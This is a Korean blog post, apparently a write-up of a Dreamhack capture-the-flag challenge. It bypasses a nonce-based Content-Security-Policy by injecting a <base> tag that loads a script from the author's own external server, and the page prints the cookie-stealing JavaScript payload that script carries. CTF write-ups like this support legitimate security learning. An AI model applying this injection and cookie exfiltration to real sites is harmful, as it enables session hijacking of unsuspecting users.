@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return render_template("vuln.html", param=param, nonce=nonce)
flag, memo 등의 페이지는 이전 문제와 동일하지만
vuln 페이지에서 return param으로 그대로 실행하던 것이 render_template으로 바뀌었다.
@app.after_request
def add_header(response):
global nonce
response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'; object-src 'none'"
nonce = os.urandom(16).hex()
return response
그리고 CSP에서 object-src 'none'이 추가되었다.
base 태그를 이용해야 할 것 같다.
base태그로 base url을 바꿔서 static/js/bootstrap.min.js 파일을 실행시키면 내가 만든 서버 안에 있는 js 파일을 실행시킬 수 있다. 서버를 실행시키기 위해서 구름 ide를 이용하였다.
이렇게 bootstrap.min.js 파일을 만들고
location.href = "http://127.0.0.1:8000/memo?memo="+document.cookie 를 작성하였다.
이렇게 준비를 했으면 flag페이지에서
<base href="https://webflask-ndyxa.run.goorm.site/">
를 입력하면
memo 페이지에 이렇게 flag가 나온다.
base url을 바꿔서 같은 이름의 파일을 만들어서 푸는게 개인적으로 지금까지 풀어본 문제 중에 가장 신기했던 것 같다.
'웹해킹' 카테고리의 다른 글
드림핵 CSRF Advanced 롸업 (0) | 2023.11.26 |
---|---|
CSRF/CORS Bypass (0) | 2023.11.26 |
드림핵 CSP Bypass 롸업 (0) | 2023.11.25 |
Content Security Policy & CSP Bypass (0) | 2023.11.24 |
드림핵 XSS Filtering Bypass Advanced 롸업 (0) | 2023.11.21 |